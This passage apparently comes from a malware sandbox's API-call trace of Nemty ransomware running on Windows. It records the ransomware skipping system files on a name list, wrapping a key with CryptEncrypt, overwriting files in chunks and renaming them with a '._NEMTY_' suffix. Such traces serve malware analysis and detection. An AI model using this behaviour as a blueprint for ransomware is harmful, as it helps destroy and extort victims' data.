lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.750] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0070.756] CloseHandle (hObject=0xffffffff) returned 0 [0070.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0070.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0070.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0070.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0070.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0070.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0070.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0070.756] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0070.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.757] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0070.757] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0070.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0070.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0070.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0070.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0070.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0070.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0070.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0070.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0070.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0070.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0070.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0070.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0070.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0070.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94368 [0070.758] Sleep (dwMilliseconds=0x5) [0070.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xddd2a1b0, dwHighDateTime=0x1d561e7)) [0070.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xddd2a1b0, dwHighDateTime=0x1d561e7)) [0070.766] GetLastError () returned 0x5 [0070.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0070.766] GetLastError () returned 0x5 [0070.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0070.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0070.766] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0070.766] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0070.767] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0070.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0070.767] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="iEhknXBgLeBOARC5Ypt/jjKQs8ifMNwQmvdpGzkqEmGhLS53QpI/oN+dwF7vKJdc\r\nQNL8PeMQUcxQPzMQQ5wvOpp/eqeuBrupJ6D6KXqbxul4oERuib/Uj5Zx4jJ/+gu0\r\n/N16k2JVRPm1l6eNHedfw8d2ICvpSOQ7nwlOOBl5B8ukaNCEtZ6YIDm8YfbafSrh\r\nftLrOvxaA/pH/dguZTSOhDnFNu6t5daCTcTHlvNKZJ1Id9IHiOIrAN+YA0qwwOna\r\nkrSoiRxfCL13zdhksxZ+DTsStAO7GAVpLb2HLbkr9Ma+T4ANnRbkZqYND6iJpZDf\r\nLfA7aAg5vZROoNwAlVsblA==\r\n", pcchString=0x653e91c) returned 1 [0070.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0070.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0070.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0070.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0070.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0070.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0070.767] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0070.767] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0070.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0070.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.767] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.777] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.786] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.795] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.805] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.814] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.844] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.854] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.854] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.863] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.863] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.873] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 